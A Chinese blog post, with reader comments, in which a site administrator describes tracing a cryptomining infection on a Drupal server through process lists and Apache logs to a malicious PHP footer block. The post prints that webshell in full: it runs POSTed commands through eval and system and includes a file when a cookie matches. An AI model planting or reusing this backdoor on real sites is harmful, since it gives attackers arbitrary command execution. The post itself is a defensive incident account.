9月份就发现我们放置Drupal网站的阿里云服务器上出现了几个奇怪的进程,每个进程都占用几乎一个单独CPU核心的100%,一台8核服务器上可能同时出现几个这样的进程,导致服务器负载升高、用户访问变慢。和同事一起查了查,居然是被黑客入侵用户比特币挖矿!同时阿里云的安全系统也给我们发来了警告提醒消息。
top - 17:43:03 up 26 days, 6:15, 5 users, load average: 9.76, 9.98, 10.22 Tasks: 296 total, 8 running, 288 sleeping, 0 stopped, 0 zombie Cpu(s): 97.6%us, 1.5%sy, 0.0%ni, 0.6%id, 0.1%wa, 0.0%hi, 0.3%si, 0.1%st Mem: 16330624k total, 7198784k used, 9131840k free, 191512k buffers Swap: 8388604k total, 0k used, 8388604k free, 1969652k cached PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 10573 apache 20 0 514m 80m 48m S 98.6 0.5 1:03.23 MXAW 10851 apache 20 0 514m 77m 47m S 98.6 0.5 1:01.95 MXAW 10578 apache 20 0 514m 80m 49m S 98.3 0.5 1:02.88 MXAW 10587 apache 20 0 507m 72m 48m S 98.3 0.5 1:03.53 MXAW 9624 apache 20 0 515m 82m 50m S 8.0 0.5 0:07.47 httpd 8456 apache 20 0 516m 86m 53m S 7.3 0.5 0:10.48 httpd 9795 apache 20 0 505m 71m 49m S 6.3 0.4 0:05.77 httpd
我们很多年前使用Windows服务器,在安全方面总是不太放心。后来改用Linux基本上就没有遇到特别的安全问题了,没想到现在居然被别人放置了可执行文件在里面。但这个黑客比较狡猾,进程杀死后会定时自动重启启动,我们再找到进程执行的文件,去把文件也删除,但不久又会出现新的可执行文件。
同事经过查找资料、反复检查,发现这些挖矿程序需要与黑客远程的服务器交换数据,是一个拉脱维亚的IP地址,我们在服务器的IP Table里面进行了封堵,这样挖矿程序就失去了作用。这样虽然不能从根本解决这个问题,但至少让我们缓了一个月。在10月份再次发现挖矿进程,查明是更换了另外一个拉脱维亚的IP地址,我们再次封堵。但依然查不出来根源。
前几天服务器又出现了挖矿进程,这次用IP Table封堵IP也不行了,虽然apache报错日志(error.log)里面看到大量无法连接服务器的报错,但这种挖矿进程还是反复自动被启用,耗费我们服务器的CPU资源。
[2017-11-14 00:48:18] Stratum connection failed: connect() timed out! [2017-11-14 00:48:18] ...retry after 10 seconds
只好和同事一起再在Google里面搜索一些英文资料,只用百度查不出来什么有用的中文资料,国内使用Drupal的网站也不算多。基本确定是一种webshell的木马攻击方式,用远程web访问来触发启动服务器上的挖矿程序。我们虽然封堵了挖矿程序与黑客服务器的沟通,但没有查找到木马源头,无法从根本上阻止。
再检查apache访问日志(access.log),发现一个乌克兰IP地址每隔一个小时来访问一次被攻击的网站,POST数据到一个php页面,但这个页面并不存在,日志中也是404 Not Found:
193.106.30.99 - - [14/Nov/2017:00:00:16 +0800] port:443 "example.com" "POST /writebab.php HTTP/1.1" 404 29 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0" 193.106.30.99 - - [14/Nov/2017:01:00:21 +0800] port:443 "example.com" "POST /writebab.php HTTP/1.1" 404 29 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0" 193.106.30.99 - - [14/Nov/2017:02:00:09 +0800] port:443 "example.com" "POST /writebab.php HTTP/1.1" 404 29 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0" 193.106.30.99 - - [14/Nov/2017:03:00:15 +0800] port:443 "example.com" "POST /writebab.php HTTP/1.1" 404 29 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0"
这就奇怪了,页面本身不存在却能够触发某种可执行程序,那也许在这个页面内容以外、而在网站框架中某个地方。我们可以把这个乌克兰的IP也屏蔽起来,实际看到就无法触发我们服务器上的挖矿程序了,但这也不是根本办法,对方可以换IP继续来触发。
再查了一些Drupal方面安全资料,安装了Hacked!、Security Review、Drupalgeddon、Site Audit等来排查,没有找到本修改的Drupal文件。后来想到可能是SQL注入,一般我们自己使用php代码的地方可能有node页面、block区块、views查询等几个地方,就逐个排查,发现Block里面有个Footer content,内容很可疑:
<?php
error_reporting(0);
if ($_COOKIE['i'] == 'path'){
$dir=getcwd().'/sites/default/files/plugins.php';
include($dir);
}
@eval($_POST['cmd']);
@system($_POST['cmds']);
?>
明显不是我们自己编写的,而是接收某种POST访问,并用@eval执行POST上来的任意命令,极有可能这就是木马源头!于是我们把这个Block禁用掉。再去把那个乌克兰IP解封,整点的时候观察这个IP又来访问不存在的页面、POST数据,但却没有能再启动挖矿程序了。
到此基本上应该是找到了源头并进行了封堵,不过还要继续观察看看黑客是否还有另外的什么招数。另外,Drupal的安全设置方面还有一些需要了解、尝试,不应该能让web访问在我们服务器上保存可指向的挖矿文件,还有其它一些可能的漏洞,例如定时程序等,也需要继续观察、排查。
评论5
看来还是纯静态要安全些!
Drupal,Wordpress, Joomla,用起来总是有安全方面的顾虑。 看来还是纯静态页面安全性高,Web服务器只装一个Nginx就可以了,Mysql、PHP都不装。前后台分离,后台生成静态Html实时同步到Web前台服务器。 个人想法,见笑!你说的只把纯静态HTML暴露在外网当然要安全多了
你说的只把纯静态HTML暴露在外网当然要安全多了,只是看网站的功能是否满足,我们的网站因为页面数量太多,有些也需要经常进行一些调整,所以还是采取的动态生成的办法。各种网站对于技术的需求不同,没有统一的标准,你说的前后台分离的办法也很好。
是的,技术服务于需求!
是的,技术服务于自身的实际需求。 前后台分离,适合纯资讯类的站点。搜索用Google的CSE,评论用Facebook的社交插件,等等第三方服务很多。 查询类的还是离不开数据库。不过工具类的随着API的不断成熟,单页应用的技术不断完善,纯静态化的单页工具调用API已经很不错了,也很安全。嗯,说得很专业👍,以后多多交流🤝
嗯,说得很专业👍,以后多多交流🤝
我是您的读者,后学末进,请多指教。
我是您的读者,后学末进,请多指教。 从第一次做firefox浏览器下载推广开始,入Google Adsense的坑已经很多年了。 好多人放弃了,转型了。从兼职站长到专职站长,自己仍在坚持中。 从祁老师的书和博客学到很多,会经常过来学习的!